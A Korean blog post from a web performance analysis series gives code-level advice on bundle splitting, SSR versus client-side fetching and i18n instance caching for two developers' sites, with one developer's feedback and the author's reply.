- **모바일 기기에서 애니메이션 성능이 충분한가?**  
  → 저성능 디바이스에서도 렌더링 병목이나 프레임 드롭 없이 동작하는지 확인합니다. 특히 `opacity`, `transform` 등 GPU 최적화 가능한 속성만을 사용하는 것을 권장해드리며, layout/paint/reflow를 유발하는 속성(`top`, `left`, `height` 등)은 지양하는 것이 좋습니다.

이러한 체크리스트는 단순히 애니메이션이 잘 보이느냐를 넘어서, 웹 접근성, 성능 안정성, 유지보수 가능성 전반을 평가하는 기준으로 작용합니다. 특히 포트폴리오 사이트처럼 콘텐츠 전달력과 시각적 완성도를 동시에 요구하는 웹사이트에서는, 이러한 기준이 곧 품질의 기준이 됩니다.

따라서 사용자에게 인상적인 경험을 제공하면서도 검색 가능성과 성능 최적화까지 만족시키려면, 콘텐츠 우선 렌더링과 점진적 향상 전략(Progressive Enhancement)을 함께 고려한 설계가 핵심이 되어야한다고 생각합니다.

## 5. 기타 제안

앞서 언급한 핵심 병목 요소들 외에도, 전반적인 성능 향상에 기여할 수 있는 세부 최적화 지점들을 추가로 분석해보았습니다.

### 5-1. 코드 스플리팅 코드 스플리팅을 통한 번들 최적화 제안

현재 번들 파일인 `index-CF5N6APp.js`의 크기는 약 138KB입니다. 이는 최근 프론트엔드 트렌드 상 과도하게 큰 크기는 아니지만, **복잡한 로직이 없는 정적 사이트**라는 점을 고려하면 다소 무거운 편입니다. 특히 이 웹사이트는 **싱글 페이지 애플리케이션(SPA)** 구조로 되어 있어, 이러한 번들 구조가 성능에 직접적인 영향을 미칩니다.

#### 5-1-1. 번들 크기가 큰 원인

현재 자바스크립트 파일에는 개발자님이 작성하신 서비스 로직뿐만 아니라, `react`, `react-dom`, `emotion`, `gsap` 등 프레임워크 및 외부 라이브러리 코드가 모두 포함되어 있습니다. 또한 코드 스플리팅이 적용되어 있지 않아, 페이지를 구성하는 모든 로직이 하나의 번들에 의존하는 구조입니다. 이로 인해 브라우저는 전체 리소스를 한 번에 다운로드하고 파싱해야 하며, **병렬 로딩의 이점을 전혀 활용하지 못하고 있습니다.**

#### 5-1-2. SPA 구조에서 JS 파싱 지연의 영향

100KB 이상의 자바스크립트 파일은 일반적인 CSR 기반의 서비스에서는 치명적이지 않을 수 있습니다. 하지만 본 웹사이트는 SSR이 적용되어 있지 않기 때문에, 브라우저가 초기 화면을 구성하는 전 과정을 자바스크립트에 의존하고 있습니다.

이러한 구조에서는 **JS 파싱 및 실행 시간이 길어질수록 콘텐츠의 렌더링 지연이 직접적으로 발생**하며, 결과적으로 LCP, TTI와 같은 주요 성능 지표에도 부정적인 영향을 줍니다. 특히 인트로 애니메이션 후 실제 콘텐츠가 등장하는 현재 구성에서는 이러한 지연이 더욱 두드러질 수 있습니다.

#### 5-1-3. 초기 렌더링 및 캐시 효율을 고려한 코드 분리 전략

현재 구조에서는 모든 코드가 하나의 번들에 포함되어 있으며, `react`, `react-dom`, `emotion`, `gsap` 등 주요 라이브러리도 `index.js`에 함께 포함되어 있습니다. 이러한 구조는 다음과 같은 문제를 초래합니다:

- **초기 렌더링 시 과도한 JS 파싱 및 실행 비용 발생**
- **작은 코드 변경에도 전체 번들이 다시 빌드되어 캐시가 무효화됨**

이 문제를 해결하기 위해서는 **초기 렌더링에 꼭 필요한 코드만 최소 청크로 분리하고, 공통 라이브러리는 별도 청크로 분리하는 전략**이 필요합니다. 이를 통해 다음과 같은 효과를 기대할 수 있습니다:

- 브라우저는 **초기 화면 구성에 필요한 최소 리소스만 우선 로딩**하게 되어 **LCP 개선**
- `react`, `react-dom` 등은 변경 가능성이 낮기 때문에 **캐시 활용 극대화**
- 전체 번들 재생성 없이 변경된 청크만 교체되므로 **배포 효율 향상**

Vite에서는 `rollupOptions.output.manualChunks` 설정을 통해 쉽게 적용할 수 있습니다:

```ts
// vite.config.ts 예시
export default {
  build: {
    rollupOptions: {
      output: {
        manualChunks: {
          react: ['react', 'react-dom'],
        },
      },
    },
  },
}
```

Next.js 역시 동일한 전략을 채택하고 있으며, `framework.js`라는 파일에 공통 라이브러리를 분리하여 **변경이 없는 리소스를 장기간 캐시하도록 구성**되어 있습니다.

![12.png](./images/portfolio/12.png)

![1.png](./images/portfolio/11.png)

이처럼 단순한 청크 분리만으로도 **초기 렌더링 성능, 네트워크 부하, 배포 효율을 모두 개선할 수 있으며**, SPA 구조인 현재 프로젝트에서는 특히 효과적인 전략이 될 수 있습니다.

#### 5-1-5. 현재 구조에서는 과하지 않은 분리로도 충분한 이점을 기대할 수 있습니다

물론, 과도한 코드 스플리팅은 라우팅이 많은 대규모 웹 애플리케이션에서는 오히려 초기 로딩 속도를 저하시킬 수 있습니다. 하지만 본 사이트는 명확한 페이지 구획 없이 하나의 뷰에서 구성되는 SPA이므로, **라이브러리 수준의 단순한 청크 분리만으로도 성능 이점을 얻을 수 있습니다.**

**결론적으로**, 현재 구조에서는 초기 렌더링 시점에 불필요하게 많은 자바스크립트가 한꺼번에 로딩되고 있으며, 이를 개선하기 위해서는 **청크 분리를 통한 번들 최적화가 필수적인 과제**입니다. Vite 기반의 빌드 환경에서는 이를 비교적 간단하게 구현할 수 있으므로, 실제 배포 환경에서도 성능과 사용자 경험 모두를 향상시킬 수 있을 것입니다.

## 6. 결론

[https://portfolio-amber-mu-57.vercel.app/](https://portfolio-amber-mu-57.vercel.app/)의 구조를 바탕으로, 사용자 경험과 성능 측면에서 어떤 개선이 가능한지를 구체적으로 살펴보았습니다.

현 구조는 개발 초기 단계임에도 불구하고, **GSAP을 활용한 강도 높은 애니메이션 연출**, **Emotion 기반 스타일링**, 그리고 리액트와 vite 기반의 현대적인 프론트엔드 구성 요소를 바탕으로 **기술적인 완성도를 갖춘 인상적인 포트폴리오**입니다. 특히 시각적 임팩트를 중심에 두고 구성된 UI/UX 흐름은 콘텐츠보다는 **연출과 표현력 자체를 중심으로 보여주려는 의도**가 분명히 느껴졌습니다.

다만, 인트로 이후 콘텐츠가 마운트되는 구조나, 모든 리소스를 하나의 번들로 처리하는 현재의 방식은 Lighthouse 등 성능 측정 도구에서는 **실제 사용자 경험과 괴리가 있는 평가 결과를 초래할 수 있으며**, 검색 최적화나 접근성 측면에서도 개선 여지가 있는 것으로 판단됩니다.

지금은 포트폴리오 초기 단계이므로, 복잡한 구조 변경 없이도 **렌더링 순서, 코드 분리 전략, Progressive Enhancement 원칙 적용 등 가벼운 구조 개선만으로도 충분한 성능 개선 효과**를 기대할 수 있습니다. 또한 향후 콘텐츠가 추가되거나 페이지 수가 늘어나는 과정에서도, 이번 분석에서 제시한 방향을 기반으로 **구조적 확장성과 기술적 지속 가능성을 확보**하실 수 있으리라 생각합니다.

앞으로 이 포트폴리오가 더 발전하고, 그 안에 담긴 콘텐츠와 메시지가 더 널리 전달될 수 있기를, 그리고 프론트엔드 개발자로서의 성공적인 첫발을 내딛으 실 수 있기를 진심으로 기원합니다.

궁금한 점이나 추가로 논의하고 싶은 부분이 있다면 언제든 편하게 말씀해주세요.
읽어주셔서 감사합니다!

---

Source: https://yceffort.kr/2025/06/web-performance-analysis-3.md
Title: 웹 서비스 성능 분석 (3)
Description: 관심 가져주셔서 감사합니다. 🙇🏻‍♂️
Date: 2025-07-01
Tags: web-performance, nextjs, backend
Series: 웹 서비스 성능 분석

## 실제 개발자 피드백

> 다음은 실제 개발자분이 보내주신 피드백입니다.

### 글이 많이 도움이 되었는지

- 너무 자세하고 꼼꼼한 분석을 해주셔서 정말 감사합니다.. 너무너무너무너무 큰 도움이 될 거 같습니다. 말씀해주신 한 항목 한 항목을 새겨듣고 적용해보겠습니다.
- 성능 최적화에 평소에도 관심이 많아서 관련 책과 아티클, 영상들을 찾아보고 제 프로젝트에 실제로 적용도 해보았었어요. 그럼에도 사이트는 여전히 느리고, 왜 느린지 명확하게 파악을 할 수가 없어서 막막한 상태였거든요. 쌓였던 것들이 싹 해소가 된 기분이었어요. 특히 매 요청마다 i18n인스턴스를 만든다는 부분, 사용하지 않는 rechart라이브러리가 번들에 포함되는 것들은 생각지도 못했던 부분이었어요.
- 제 코드에서 실제로 어떤 부분을 어떻게 수정하면 좋을지 알려주어서 좋았어요. 덕분에 완전 구체적으로 와닿았고, 앞으로 서버 컴포넌트에서는 await를 지양한다던가, 인스턴스가 잘 캐싱되어있는지 확인한다던가 하는 등 어떤 부분을 신경써야할지 알게되었어요. 성능 최적화에 대한 시야가 한층 더 넓어진 기분이었어요.

### 다른 개발자에게 이 성능 분석을 추천할 수 있을지

완전 강력하게 추천하고 싶어요 !!

### 추가로 궁금하신 사항이나 보완이 필요한 부분

> 4-1-1 내용 중, 서버(HydrationBoundary)에서 데이터를 패칭하지 않고 CSR로 전환하면 체감 속도 개선 효과를 기대할 수 있을 것이라는 내용이 있었습니다. 실제로 두 상황을 비교해보았어요.
>
> 측정 방법은 로컬 서버 환경에서 layout.tsx에서 window.performance.mark("page-start")를 실행하고, 렌더링된 후 측정하고 싶은 컴포넌트인 MemoView의 useEffect내 에서 performance.measure("MemoView mount", "page-start")를 실행해 두 값을 비교했습니다.
>
> https://guesung.notion.site/HydrationBoundary-22289de02fde80ba80e0d289de1569cf?pvs=74
>
> 위 링크의 내용과 같이 HydrationBoundary를 제거하기 전과 후의 시간 차이는 미비했으며, 네트워크 속도가 느린 환경에서는 서버에서 데이터 패칭을 할 때 훨씬 빠른 속도를 보여주었습니다. 그래서 성능 최적화를 위해서 CSR로 이관하는 내용에 대해서 공감이 안되어서 질문을 드립니다.
>
> 혹시 제가 잘못 알고 있거나, 측정 방법이 잘못되었으면 알려주시면 감사하겠습니다.

현재 구조처럼 SSR에서 데이터를 미리 fetch하고, 렌더링은 클라이언트에서 수행하는 방식은 명확한 장단이 있습니다.
데이터 패칭 속도는 서버 환경에 따라 일정하게 유지되지만, 실제 렌더링 시점은 hydration 이후로 밀리기 때문에 체감 속도에서는 불리할 수 있습니다.

이때 고려할 수 있는 선택지는 아래와 같습니다:

1. CSR에서 Skeleton UI와 함께 fetch/render를 병행하는 구조:
   이 경우 사용자의 기기 성능이나 네트워크 환경이 느리다면 로딩 지연이 더 크게 체감될 수 있지만, LCP 측면에서는 Skeleton이 빠르게 표시되어 긍정적인 지표를 만들 수 있습니다.
   다만 제가 클라이언트에서 패칭하는 경우 속도가 이렇게 까지 느려질줄은 미처 몰랐는데요 (ㅠㅠ)
   이러한 상황이라면 1번의 방식이 크게 도움이 안될 수도 있습니다만, 한번 꼼꼼하게 살펴보시고 판단하시면 좋을 것 같습니다/

2. SSR 시점에서 fetch + render까지 모두 수행하는 구조:
   이 전략은 메모 데이터를 일정 길이까지만 잘라서 SSR HTML에 포함시키고, 추가 내용은 CSR에서 로드하는 방식으로 절충할 수 있습니다.
   현재는 메모 길이 상관없이 모두 불러와서 아마도 성능에 문제가 있었을 것으로 보입니다.
   실제로 메모 UI가 달력 대비 복잡하지 않은 구조 이면서 별로 무겁지 않다면, SSR에 포함시켜도 렌더링 비용은 크지 않을 것으로 판단됩니다.

3. 현재 구조 유지 (SSR fetch, CSR render):
   지금 구조는 fetch 는 서버에서, 렌더링은 완전히 클라이언트에서 하는 구조입니다만, SSR을 했음에도 LCP에는 기여 못하고 있어서 조금 애매하다고도 생각합니다.
   물론 구조상 React Query prefetch나 안정적인 데이터 응답 면에서는 장점도 있긴 한데, 서버에서 최소한 스켈레톤이라도 렌더링해주는 방법도 고려해볼 수 있을 것 같아요.

결국 중요한 것은 메모를 `SELECT`해오고 제공하는데 병목이 있다고 생각이 들었습니다.
이 문제가 아마도 가장 큰 문제일 것 같고, 위 세가지는 이 문제를 해결하기 위한 임시방편이 아닐까 싶습니다.
그래서 구조가 어떻게 되었든 간에, `SELECT`쿼리를 튜닝하거나, 혹은 메모를 더 빠르게 가져올 수 있는 최적화 방안을 고민해보시는게 좋을 것 같습니다. (limit, 텍스트 자르기, 보다 가까운 리전에 DB 구축 등..)

정확한 해답보다는, 지금 상황에서 어느 선택지가 trade-off가 맞는지 보는 게 중요한 것 같아요.
(원하시는 명확한 해답은 아닐 것 같아 미리 죄송하다는 말씀 드립니다.)

---

> 다음은 실제 개발자 분에게 전달 드린 글 입니다. 모두 공개 가능하다고 하셔서 별도 처리 없이 다 공개했습니다.

# www.web-memo.site 성능 분석

> **Disclaimer**

> 본 요약 내용은 제공된 www.web-memo.site 웹사이트 성능 분석 보고서(2025년 6월 28일 12시 기준)를 바탕으로 주요 사항을 간추린 것입니다. 분석 시점 이후 웹사이트의 업데이트나 환경 변화에 따라 실제 상태와는 차이가 있을 수 있습니다. 이번 분석은 브라우저에 배포되고 번들된 결과물과 더불어 실제 소스 코드 까지 참고해서 분석하였기 때문에 이전 분석 대비 더 정확하게 분석할 수 있었습니다.

> 제시된 성능 병목 지점 및 개선 방안은 일반적인 권장 사항이며, 실제 적용 시 효과는 웹사이트의 구체적인 구현 방식, 서버 환경, 트래픽 패턴 등 다양한 요인에 따라 달라질 수 있습니다. 본 요약은 정보 제공을 목적으로 하며, 제안된 내용을 적용함에 따른 최종적인 결정과 그 결과에 대한 책임은 웹사이트 관리 주체에게 있습니다.

> 보다 상세한 분석 내용, 방법론, 그리고 전체 컨텍스트는 원본 분석 보고서를 참고해주시기 바랍니다.

## 1. 요약

안녕하세요! https://www.web-memo.site/ 웹사이트가 더욱 빠르고 안정적인 사용자 경험을 제공할 수 있도록, 현재 배포 중인 서비스에 대한 성능 분석 결과를 핵심 위주로 요약해드렸습니다.

`web-memo` 웹사이트는 **현대적인 SSR 기반 아키텍처**와 **최신 프론트엔드 기술 스택**을 잘 활용하고 있으며, 그 기술 수준 역시 현직자로 보아도 손색이 없을 정도로 매우 뛰어납니다. 다만 일부 구조적 한계와 서버리스 환경의 제약으로 인해 **초기 로딩 지연 및 불필요한 리소스 비용**이 발생하고 있는 상태입니다.

주요 성능 병목 지점은 다음과 같습니다.

- **SSR과 CSR의 역할 분리가 모호하여 데이터 fetch는 SSR에서, 렌더링은 CSR에서 수행됨** → 실제 콘텐츠는 보이지 않지만 SSR 대기 비용만 발생
- **매 요청마다 i18n 인스턴스 생성 및 번역 리소스를 동적 import** → 서버리스 환경에서는 cold start 시 성능 병목으로 이어짐
- **`getMemos()`에서 limit 없이 전체 데이터를 SSR 시점에 fetch** → 초기 렌더링 지연 및 hydration payload 증가
- **로그인 인증 및 사용자 정보를 중복 fetch하는 구조** → Supabase API가 한 요청에 최대 3회 호출됨
- **Day.js locale, Pretendard 웹폰트, 내부 UI 패키지의 barrel export로 인한 불필요한 chunk 포함**
- **`react-big-calendar`의 리렌더링 병목 및 `next/dynamic` 컴포넌트의 지연 로딩**

이에 따라 다음과 같은 개선 방안을 우선적으로 제안드립니다.

- **SSR 구조 개선 및 CSR 전환 전략 적용**:
  - 메모 데이터는 CSR에서 fetch하고 Skeleton UI를 통해 초기 UX를 개선합니다.
  - `getMemos()`에 `limit`을 적용하고 infinite scroll 도입을 권장합니다.
- **i18n 및 리소스 최적화**:
  - i18next 인스턴스 및 번역 리소스를 캐싱하거나 CDN으로 분리하고, SSR 시점 로딩 비용을 줄입니다.
  - Day.js 로케일, Pretendard 웹폰트는 정적 import 및 비동기 로딩으로 구조 개선합니다.
- **중복 fetch 제거 및 클라이언트 재사용 최적화**:
  - 사용자 정보는 최초 한 번만 fetch하고 전역 공유되도록 구조를 단순화합니다.
  - Supabase 클라이언트는 실제로 캐싱이 작동하도록 구현을 보완합니다.
- **렌더링 병목 해소 및 chunk prefetch 전략 적용**:
  - `MemoCalendar` 커스텀 렌더러 최적화 및 불필요한 리렌더 방지
  - `dynamic` 컴포넌트는 미리 import하여 사용자 인터랙션 지연 최소화

이러한 개선 사항들을 적용하시면 SSR 및 초기 렌더링 성능, 네트워크 응답 속도, 렌더링 안정성 측면에서 실질적인 체감 개선 효과를 기대할 수 있습니다. 자세한 기술적 맥락과 근거는 본문 보고서를 참고해주시기 바랍니다.

## 2. 분석 개요

2025년 6월 28일 기준 배포된 웹사이트를 분석해보았습니다. 웹 사이트의 특성상, 다른 서비스 분석과는 다르게 Desktop 모드로 분석을 수행하였습니다.

![lighthouse](./images/lighthouse.png)

분석에 사용한 도구는 다음과 같습니다.

- chrome dev tool

다른 분석과는 다르게, 로그인이 필요한 서비스였기 때문에 webpageTest 분석은 수행하지 못했습니다.

## 3. 웹사이트 분석

### 3-1. 주요 프레임워크 및 라이브러리, 빌드 환경

원래 보고서 작성 시에는 빌드된 결과물만 보고 기술 스택을 유추해야 하지만, 본 분석에서는 저장소 주소를 제공받아 소스코드를 직접 확인할 수 있었기 때문에 별도의 추론 과정 없이 정확한 기술 스택을 파악할 수 있었습니다.

https://github.com/guesung/Web-Memo

저장소 내용을 바탕으로 간단하게 요약하자면 다음과 같습니다.

이 프로젝트는 Next.js 14.2.10, React 18.3.1을 기반으로 구성되어 있으며, App Router 구조를 적극 활용하고 있습니다. 상태 및 데이터 관리를 위해 React Query(5.59.0), React Hook Form(7.53.2), Supabase 클라이언트가 사용되며, 다국어 지원은 i18next와 next-i18next 조합으로 처리되고 있습니다.

UI는 TailwindCSS를 중심으로 구성되어 있으며, 사용자 경험 강화를 위해 Framer Motion, Lucide React, Driver.js 등이 함께 사용됩니다. 또한 Sentry를 통한 오류 추적이 통합되어 있고, 관련 설정은 `.cursor/rules/tech-stack.mdc` 파일에 명시되어 있습니다.

전체 저장소는 Turborepo 기반의 모노레포로 구성되어 있으며, 패키지 매니저로는 pnpm(9.5.0)을 사용합니다. 웹앱은 Next.js 기반으로 빌드되고, 크롬 확장 프로그램은 Vite(5.3.3)를 통해 번들링됩니다. 테스트는 Vitest와 Playwright를 함께 사용하고 있으며, 실행 환경은 Node.js 18.12.0 이상을 요구합니다.

이 저장소는 Next.js 기반의 웹 애플리케이션과 Vite 기반의 크롬 확장 기능을 하나의 모노레포에서 통합 관리하며, 프론트엔드 최신 기술 스택과 품질 관리 체계를 균형 있게 갖춘 구조로 볼 수 있습니다.

### 3-2. 배포 환경

https://www.web-memo.site/ 는 현재 **Vercel 플랫폼을 통해 배포 및 서비스되고 있는 웹사이트**입니다. 도메인 등록 기관은 **Gabia**이며, 도메인은 `ns1.vercel-dns.com`, `ns2.vercel-dns.com`을 사용하는 **Vercel DNS 네임서버**에 위임되어 있습니다.

HTTP 응답 헤더(`curl -I https://www.web-memo.site`)를 통해 `server: Vercel`, `x-vercel-id` 등의 정보를 확인할 수 있으며, 이는 Vercel에서 해당 요청을 직접 처리하고 있다는 명확한 증거입니다. 도메인 루트 접근 시에는 `HTTP/1.0 308 Permanent Redirect`를 통해 HTTPS로 리디렉션되고 있으며, HTTPS 환경에서 Vercel이 직접 응답하고 있습니다.

`.vercel.app` 서브도메인으로는 접근이 불가능하며, 해당 프로젝트는 **custom domain을 통해서만 접근 가능하도록 구성된 것으로 보입니다.** 실제 서비스는 Vercel의 App Router 기반 SSR 아키텍처로 구성되어 있으며, 정적 자산과 dynamic chunk는 모두 Vercel CDN을 통해 전달되고 있습니다.

따라서 이 웹사이트는 **도메인 관리, DNS 설정, 배포 및 CDN까지 모두 Vercel 인프라 위에서 구성된 현대적인 Jamstack 아키텍처 기반 서비스**로 판단됩니다.

## 4. 주요 질문에 대한 답변

개발자님께서 말씀해주신 **첫 페이지 로딩 지연 문제**의 근본 원인을 파악하고, 우선적으로 개선해야 할 지점들을 구체적으로 분석해보았습니다.

### 4-1. 현저히 느린 첫 페이지 로딩

서버사이드 렌더링 기반 웹사이트에서 첫 페이지 로딩이 느려지는 주된 원인은 **서버 응답 지연과 초기 렌더링 병목**입니다. 백엔드 API 호출 지연, 복잡한 서버 렌더링 로직, 캐시 전략 부재 등이 대표적인 요인들입니다.
다만 이런 성능 문제는 **서버 내부에서 발생하기 때문에 브라우저 도구만으로는 정확한 원인 파악에 한계**가 있습니다. Lighthouse나 Chrome DevTools는 클라이언트에서 관측되는 결과만 보여줄 뿐, 서버에서 실제로 무엇이 병목인지는 알려주지 않습니다.
이상적으로는 서버 로그, APM 데이터, 백엔드 레이턴시 분석 등 **서버 내부 지표가 함께 있어야 정확한 진단**이 가능합니다. 하지만 외부에서 접근할 수 있는 정보로는 이런 데이터를 얻기 어렵습니다.
그래도 다행히 소스 코드를 확인할 수 있어서, **코드 구조상 성능 병목이 될 가능성이 높은 지점들**을 찾아볼 수 있었습니다. 실제 서버 상황을 완전히 파악할 수는 없지만, 구조적으로 개선 가능한 부분들을 중심으로 분석해드리겠습니다.

#### 4-1-1. `/memos` 렌더링을 과정의 `await` 병목

현재 `/memos` 페이지는 SSR을 기반으로 구성되어 있으며, `layout.tsx`와 `page.tsx`에서 다음과 같은 서버사이드 요청이 순차적으로 발생합니다:

```ts
// layout.tsx
const isUserLogin = await new AuthService(supabaseClient).checkUserLogin();
if (!isUserLogin) redirect(PATHS.login);

await initSentryUserInfo({ lng });

<HydrationBoundaryWrapper
  queryKey={QUERY_KEY.category()}
  queryFn={() => new CategoryService(supabaseClient).getCategories()}
>
  <MemoSidebar />
</HydrationBoundaryWrapper>

// page.tsx
<HydrationBoundaryWrapper
  queryKey={QUERY_KEY.memos()}
  queryFn={() => new MemoService(supabaseClient).getMemos()}
>
  <MemoView />
</HydrationBoundaryWrapper>
```

각 `await` 호출은 Supabase를 통한 네트워크 요청으로 구성되어 있으며, React Query 기반의 prefetch 구조로 인해 **모든 쿼리가 완료되기 전까지 SSR HTML 생성이 지연**됩니다. 이로 인해 Time to First Byte(TTFB) 및 Largest Contentful Paint(LCP) 지표에 영향을 줄 수 있습니다.

다만 현재 코드에 대해 쉽게 개선 제안을 드리기 어려웠던 이유는, Next.js App Router, React Server Components(RSC), React Query prefetch 구조 등 현대적인 SSR 아키텍처의 권장 방식을 충실히 따르고 있었기 때문입니다. 인증 확인, 사용자 설정, 사이드바 렌더링 등의 역할이 명확히 분리되어 있으며, 유지보수성과 확장성을 고려한 구조로 판단되는, 현직자로 보아도 손색이 없는 훌륭한 코드였습니다.

그러나 성능 최적화를 중심으로 살펴볼 경우, 다음과 같은 구조적 한계가 존재합니다:

- 메모 UI는 `<Suspense>`로 감싸진 클라이언트 컴포넌트(`MemoView`) 내부에서 렌더링되므로, SSR HTML에는 **실제 메모 콘텐츠가 포함되지 않습니다.**
- 반면, `getMemos()`는 SSR 시점에서 실행되어 **전체 메모 데이터를 React Query의 hydration을 위해 미리 fetch**합니다.
- 아래는 테스트용으로 삽입한 대용량 메모 데이터가 실제 HTML에 포함되지는 않지만, 직렬화된 상태로 클라이언트로 전달되는 예시입니다. 이는 서버에서 데이터 fetch가 완료되었음을 의미합니다.

  ![streaming-data](./images/streaming-data.png)

- 또한 HTML 캡처에 따르면, 실제 메모 리스트 영역은 SSR HTML에 존재하지 않고, 다음과 같이 Suspense fallback과 함께 클라이언트 렌더링을 기다리는 구조입니다:

  ```html
  <div hidden id="S:5">
    <div class="flex w-full flex-col gap-4">
      <div class="flex items-center">
        <div class="flex w-full items-center justify-between">
          <p class="text-muted-foreground select-none text-sm">메모 5개</p>
          <div class="flex">
            <!--$!-->
            <template data-dgst="BAILOUT_TO_CLIENT_SIDE_RENDERING"></template>
            <!--/$-->
            <!--$!-->
            <template data-dgst="BAILOUT_TO_CLIENT_SIDE_RENDERING"></template>
            <!--/$-->
          </div>
        </div>
      </div>
      <div class="relative h-full w-full">
        <div
          class="bg-primary/20 pointer-events-none fixed left-0 top-0 z-[40] h-[1px] w-[1px] origin-top-left"
        ></div>
        <div
          class="container h-screen max-w-full pb-48 will-change-transform"
          id="memo-grid"
        >
          <div></div>
        </div>
      </div>
    </div>
  </div>
  ```

즉, **렌더링은 클라이언트에서 수행되고 있음에도 불구하고, 데이터 fetch는 SSR에서 선행되고 있는 구조**이며, 이는 실제 시각적 콘텐츠가 생성되지 않는 상태에서 SSR 대기 비용만 발생하고 있다는 점에서 비효율적일 수 있습니다.

따라서 성능 최적화를 우선순위로 둘 경우, `/memos` 페이지의 메모 데이터를 **완전히 클라이언트에서 fetch 및 렌더링하는 구조**로 전환하는 것이 유리합니다. 그 이유는 다음과 같습니다.

- 메모는 로그인 이후 사용자 개인화 데이터로, **SEO 측면에서 SSR의 실익이 거의 없습니다.**
- SSR HTML에 메모 콘텐츠가 포함되지 않는 현재 구조에서는, SSR 단계에서 데이터를 fetch하더라도 **즉시 보이는 콘텐츠 개선 효과는 제한적이면서 초기 로딩 지연 비용은 그대로 발생**합니다.
- Supabase API는 네트워크 지연 가능성이 크며, SSR 시점에서 처리할 경우 **TTFB 증가로 이어질 수 있습니다.**
- 데이터를 CSR로 전환하면 렌더링과 fetch가 병렬로 진행되어 **체감 속도 개선** 효과를 기대할 수 있습니다.

다만 현재 구조를 CSR 구조로 전환하면 초기 로딩 시 콘텐츠 공백이 발생할 수 있으므로, 아래와 같은 UI 전략을 병행해 적용하는 것이 효과적이라고 생각합니다.

- 메모 카드의 최대 높이를 제한하여 Skeleton UI와 실제 콘텐츠 간의 레이아웃 차이를 제거합니다.
- 초기에 불러올 카드 수와 글자 수를 제한하고, 전체 내용을 보려면 **"더 보기"** 버튼을 통해 비동기 확장을 유도합니다.
- LCP 타겟을 고정된 높이의 Skeleton 영역으로 제한하면, 브라우저가 렌더링 완료 시점을 빠르게 판단할 수 있어 성능 측정 지표에 긍정적인 영향을 미칩니다.
- Skeleton의 높이 고정은 CLS(Cumulative Layout Shift) 방지에도 기여합니다.

앞서 말씀드린 것 처럼 현재 `/memos` 페이지의 SSR 구조는 기능적, 구조적으로 충분히 잘 설계되어 있으며, 현대적인 NextJS App Router 아키텍처의 기준을 잘 따르고 있습니다.

그러나 성능 최적화를 중점적으로 고려할 경우, **메모 데이터를 CSR로 이관하고 Skeleton UI 및 콘텐츠 제한 전략을 함께 적용하는 것이** TTFB, LCP, CLS 등 핵심 Web Vitals 지표를 실질적으로 개선하는 데 도움이 됩니다.
이러한 구조 전환은 단순한 SSR 포기가 아니라, SSR의 장점을 유지하면서 병목 지점을 해소하는 방향의 전략적 리팩토링 이 될 수 있다고 생각합니다.

#### 4-1-2. 매 요청 시 발생하는 번역 리소스 로딩 비용

현재 `/memos` 페이지의 SSR 렌더링 과정에서는 `useTranslation()` 훅을 통해 i18next 인스턴스를 매 요청마다 새로 생성하고, 언어별 번역 리소스를 동적으로 import하여 초기화하고 있습니다. 해당 구조는 다음과 같이 구성되어 있습니다:

```typescript
const initI18next = async (language: Language, namespace?: Namespace) => {
  const i18nInstance = createInstance(); // 인스턴스 매번 새로 생성
  await i18nInstance
    .use(initReactI18next)
    .use(
      resourcesToBackend((language: Language) =>
        import(`./locales/${language}/translation.json`)
      )
    )
    .init(getOptions(language, namespace));
  return i18nInstance;
};

export default async function useTranslation(...) {
  const i18nInstance = await initI18next(language, namespace);
  return {
  t: i18nextInstance.getFixedT(
    language,
    Array.isArray(namespace) ? namespace[0] : namespace,
    options?.keyPrefix,
  ),
  i18n: i18nextInstance,
  };
}
```

이 코드는 요청이 들어올 때마다 새로운 i18n 인스턴스를 생성하고, 번역 JSON을 `import()`로 로딩합니다.
Node.js는 일반적으로 동일 프로세스 내에서 `import()`된 모듈을 캐싱하지만, 해당 서비스는 다음과 같은 제약 환경에 놓여 있습니다:

```bash
curl -I https://www.web-memo.site

HTTP/2 307
cache-control: public, max-age=0, must-revalidate
content-type: text/plain
date: Sat, 28 Jun 2025 04:57:34 GMT
location: /memos
server: Vercel
strict-transport-security: max-age=63072000
x-vercel-id: icn1::2w69g-1751086654787-0015380b2120
```

`curl -I https://www.web-memo.site` 요청 결과에 따르면, 이 서비스는 **Vercel 서버리스 플랫폼**에서 동작 중입니다:

서버리스 환경에서는 다음과 같은 특성이 있습니다:

- 요청마다 새로운 실행 컨텍스트(함수 인스턴스)가 생성될 수 있으며,
- cold start 시에는 Node.js의 모듈 캐시가 무력화됩니다.
- 따라서 `import('./locales/ko/translation.json')`과 같은 번역 리소스 로딩은 **매 요청마다 I/O 및 초기화 비용이 반복적으로 발생**하게 됩니다.

이 구조는 SSR 초기화 과정에서 **TTFB(Time to First Byte)** 지연으로 이어질 수 있습니다. 실제 측정 결과, 영문 기준 번역 리소스 크기는 약 8.4KB, 한글 기준은 약 10.5KB이며, JSON 크기는 작지만 **i18n 초기화 비용과 동적 import의 누적 I/O 비용**이 성능 병목의 주된 원인이 될 수 있습니다.

추가로, 번역 리소스가 `/locales/{lang}/translation.json` 형태로 **소스코드 내부에 포함**되어 있어:

- 변경 시 전체 애플리케이션을 **재배포해야 하며**,
- **CDN 기반 캐싱이나 런타임 동적 제어가 불가능**합니다.

이는 다국어 지원 확장, 외부 번역 시스템 연동, 실시간 AB 테스트 등에서 제약이 될 수 있습니다.

따라서 번역 리소스에 대해서는 다음과 같은 내용을 제안해드립니다.

- **i18n 인스턴스를 요청 간 재사용할 수 있도록 캐싱 구조로 전환합니다.** 글로벌 scope에 언어별로 초기화된 i18n 인스턴스를 저장해두고, 이후 동일 언어 요청에서는 기존 인스턴스를 재사용함으로써 `.createInstance()`와 `.init()`의 반복 호출을 방지할 수 있습니다.
- **번역 리소스를 메모리에서 재사용할 수 있도록 명시적으로 캐싱합니다.** 현재는 `import()`로 매번 JSON을 동적으로 로딩하고 있으나, 이를 `require()`와 함께 `Map`, `lru-cache` 등의 구조로 캐싱하면 cold start가 아닌 경우에는 불필요한 I/O를 피할 수 있습니다. (지금 구조면 map 정도로도 충분할 것 같네요.)

  ```typescript
  // `import()` + `Map`을 이용한 비동기 캐싱
  const translationCache = new Map<string, any>()

  export const loadTranslation = async (lang: string) => {
    if (translationCache.has(lang)) return translationCache.get(lang)

    const resource = await import(`./locales/${lang}/translation.json`)
    translationCache.set(lang, resource.default ?? resource)
    return resource.default ?? resource
  }
  ```

